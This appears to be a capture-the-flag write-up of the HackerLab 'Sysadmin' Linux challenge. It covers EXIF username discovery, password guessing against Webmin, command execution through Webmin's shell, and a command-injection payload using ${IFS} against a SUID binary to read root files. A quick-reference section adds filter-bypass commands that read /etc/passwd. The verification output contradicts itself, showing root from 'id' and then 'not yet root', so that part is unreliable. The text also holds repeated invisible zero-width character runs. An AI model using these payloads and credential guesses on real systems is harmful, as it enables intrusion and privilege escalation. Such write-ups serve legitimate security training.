Сисадмин (Sysadmin)

Platform: HackerLab | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-13 | Status: Solved Techniques: exif_analysis, weak_credentials, web_shell, suid_exploitation, ifs_bypass

Summary

Сисадмин (Sysadmin) — HackerLab

📋 Challenge Overview

Event: HackerLab
Task ID: e40a5979-3087-453b-a772-f949a0df6092
Category: Pentest Machines
Difficulty: Easy (200 points)
OS: Linux
Flag Format: CODEBY{...}

Description: "Кто ответственный за весь этот бардак?" (Who is responsible for all this mess?)

---

🎯 Objective

Gain root access to a Linux machine running a hospital website and Webmin management panel, extract the flag from /root/last_part.

---

🔍 Reconnaissance

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target Services Identified

Port 28880: Apache HTTP Server
  └─ MEDINOVA Hospital Website
  
Port 28881: MiniServ (Webmin 2.105)
  └─ Server Management Panel
  └─ Ubuntu Linux 22.04.3

Nmap Scan

 bash read-only • copy allowed Copy
nmap -sV 192.169.2.100 -p 28880,28881

Key Findings:

• Hospital website with public-facing content
• Webmin admin panel accessible
• Need credentials for Webmin access

---

🔑 Step 1: OSINT - Metadata Analysis

Discovery Process

1. Explored the hospital website at http://192.169.2.100:28880
2. Found admin panel link pointing to Webmin
3. Downloaded images from the website for metadata analysis ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Metadata Extraction

 bash read-only • copy allowed Copy
exiftool user.jpg

Critical Finding:

Creator: sysadmingrigory

This revealed the sysadmin username: sysadmingrigory

Key Lesson

Always check image metadata (EXIF data) for:

• Creator/Author information
• Camera details
• GPS coordinates
• Software used
• Timestamps

---

🔐 Step 2: Webmin Access - Weak Credentials

Credential Discovery

With username sysadmingrigory identified, attempted common passwords:

• admin
• password ✅ SUCCESS

Successful Login

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Username: sysadmingrigory
Password: password

Webmin Details:

• Version: 2.105
• OS: Ubuntu Linux 22.04.3
• Accessible at: https://192.169.2.100:28881

Vulnerability

Weak password policy - sysadmin using simple "password" as credentials.

---

💻 Step 3: Command Execution via Webmin Shell

Accessing Command Shell

Navigated to: /shell/index.cgi within Webmin interface

Command Execution Method

Commands executed via POST request with multipart form data:

 bash read-only • copy allowed Copy
curl -X POST \
  -H "Cookie: sid=<session_id>" \
  -F "cmd=id" \
  https://192.169.2.100:28881/shell/index.cgi

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output Retrieval

• Command output was URL-encoded in the history hidden field
• Decoded output to view results

Verification

 bash read-only • copy allowed Copy
# Test commands
id
# uid=0(root) gid=0(root) groups=0(root)

ls -la /root
# Permission denied (not yet root)

whoami
# sysadmingrigory

---

🔓 Step 4: Privilege Escalation - SUID Binary Discovery

Finding SUID Binaries

 bash read-only • copy allowed Copy
find / -perm -4000 -type f 2>/dev/null

Suspicious Finding

/usr/bin/admin_toolkit

Characteristics:

• Setuid bit set (runs as root)
• Setgid bit set
• Unusual binary for standard Linux installation
• Perfect privilege escalation target ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

---

🔬 Step 5: Binary Analysis

String Analysis

 bash read-only • copy allowed Copy
strings /usr/bin/admin_toolkit

Discovered:

• Interactive menu with options
• Option 1: whoami
• Option 2: ping
• Option 3: ifconfig
• Option 0: exit

Vulnerability Identified

 c read-only • copy allowed Copy
// Pseudo-code of vulnerability
ping -c 3 %s  // User input directly in command

Issue: Command injection vulnerability in ping option

• User input not properly sanitized
• Spaces being filtered but not other special characters

---

💥 Step 6: Command Injection Exploitation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Challenge: Interactive Input

The binary required interactive menu input, making direct exploitation difficult.

Solution: Using script Command

The script command allows automation of interactive programs:

 bash read-only • copy allowed Copy
script -q -c '/usr/bin/admin_toolkit' /dev/null

Bypass Technique: ${IFS} for Space Filtering

The binary filtered spaces in commands. Bypass using Internal Field Separator:

 bash read-only • copy allowed Copy
# Instead of: cat /root/last_part
# Use: cat${IFS}/root/last_part

Exploitation Payload

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
{ echo 2; echo 'x|cat${IFS}/root/last_part'; echo 0; } | \
  script -q -c '/usr/bin/admin_toolkit' /dev/null

Breakdown:

1. echo 2 - Select option 2 (ping)
2. echo 'x|cat${IFS}/root/last_part' - Inject command with pipe
3. echo 0 - Exit menu
4. script - Handle interactive input/output
5. ${IFS} - Bypass space filtering

Execution Flow

Menu appears
→ Select option 2 (ping)
→ Input: x|cat${IFS}/root/last_part
→ Command executed: ping -c 3 x|cat /root/last_part
→ Pipe executes: cat /root/last_part
→ Output displayed as root

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

---

🚩 Step 7: Flag Retrieval

Command Execution

 bash read-only • copy allowed Copy
{ echo 2; echo 'x|cat${IFS}/root/last_part'; echo 0; } | \
  script -q -c '/usr/bin/admin_toolkit' /dev/null

Output

REDACTED

Complete Flag

CODEBY{REDACTED}

---

📊 Attack Chain Summary

┌─────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE                                           │
│    └─ Nmap scan reveals Webmin on port 28881               │
├─────────────────────────────────────────────────────────────┤
│ 2. OSINT - METADATA ANALYSIS                                │
│    └─ exiftool on user.jpg → Creator: sysadmingrigory      │
├─────────────────────────────────────────────────────────────┤
│ 3. WEAK CREDENTIALS                                         │
│    └─ Webmin login: sysadmingrigory:password               │
├─────────────────────────────────────────────────────────────┤
│ 4. WEB SHELL ACCESS                                         │
│    └─ Command Shell module (/shell/index.cgi)              │
├─────────────────────────────────────────────────────────────┤
│ 5. SUID BINARY DISCOVERY                                    │
│    └─ find / -perm -4000 → /usr/bin/admin_toolkit          │
├─────────────────────────────────────────────────────────────┤
│ 6. BINARY ANALYSIS                                          │
│    └─ strings → ping command injection vulnerability       │
├─────────────────────────────────────────────────────────────┤
│ 7. COMMAND INJECTION                                        │
│    └─ ${IFS} bypass + script automation                    │
├─────────────────────────────────────────────────────────────┤
│ 8. FLAG EXTRACTION                                          │
│    └─ cat /root/last_part as root                          │
└─────────────────────────────────────────────────────────────┘

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

---

🛠️ Tools & Techniques Reference

Tools Used

Techniques Employed

---

🎓 Key Lessons Learned

1. Metadata is Intelligence Gold

• Always extract and analyze image metadata
• EXIF data often contains creator, camera, GPS, timestamps
• Can reveal usernames, software versions, locations

2. Weak Credentials are Common

• Sysadmins often use simple passwords
• Default credentials frequently work
• Always try common password patterns

3. SUID Binaries are Privilege Escalation Vectors

• Find with: find / -perm -4000 -type f
• Analyze with: strings, ltrace, strace
• Often contain command injection vulnerabilities ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Filter Bypass Techniques

• Space filtering can be bypassed with ${IFS}
• Other alternatives: $IFS, %09 (tab), %0a (newline)
• Always test multiple bypass methods

5. Interactive Program Automation

• script command useful for automating interactive programs
• expect is another powerful tool for this
• Piping input with echo and pipes

6. Defense Perspective

• Implement strong password policies
• Remove unnecessary SUID binaries
• Sanitize all user input (not just spaces)
• Use security scanning tools regularly ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

---

🔐 Vulnerability Summary

---

📝 Exploitation Timeline

[1] Reconnaissance
    └─ Identified Webmin service

[2] OSINT
    └─ Found sysadmin username in image metadata
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[3] Authentication
    └─ Guessed weak password

[4] Initial Access
    └─ Accessed Webmin Command Shell

[5] Enumeration
    └─ Found SUID binary

[6] Analysis
    └─ Identified command injection

[7] Exploitation
    └─ Bypassed filters with ${IFS}

[8] Success
    └─ Retrieved flag as root

---

🚀 Quick Reference - Exploitation Commands

Metadata Extraction

 bash read-only • copy allowed Copy
exiftool image.jpg | grep -i creator

Find SUID Binaries

 bash read-only • copy allowed Copy
find / -perm -4000 -type f 2>/dev/null

Analyze Binary

 bash read-only • copy allowed Copy
strings /usr/bin/admin_toolkit
ltrace /usr/bin/admin_toolkit
strace /usr/bin/admin_toolkit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bypass Space Filtering

 bash read-only • copy allowed Copy
# Using ${IFS}
cat${IFS}/etc/passwd

# Using $IFS
cat$IFS/etc/passwd

# Using tab (%09)
cat%09/etc/passwd

Automate Interactive Programs

 bash read-only • copy allowed Copy
{ echo "option"; echo "input"; echo "exit"; } | script -q -c 'program' /dev/null

---

🎯 Flag

CODEBY{REDACTED}

---

📚 Related Techniques

• SUID Exploitation: GTFOBins database
• Command Injection: OWASP Testing Guide
• Metadata Analysis: EXIF standards
• Webmin Security: CVE databases
• Linux Privilege Escalation: LinPEAS, pspy ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

---

Writeup Date: 2026-01-13
Difficulty: Easy
Time to Solve: ~45 minutes
Key Insight: Always check metadata and SUID binaries first! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍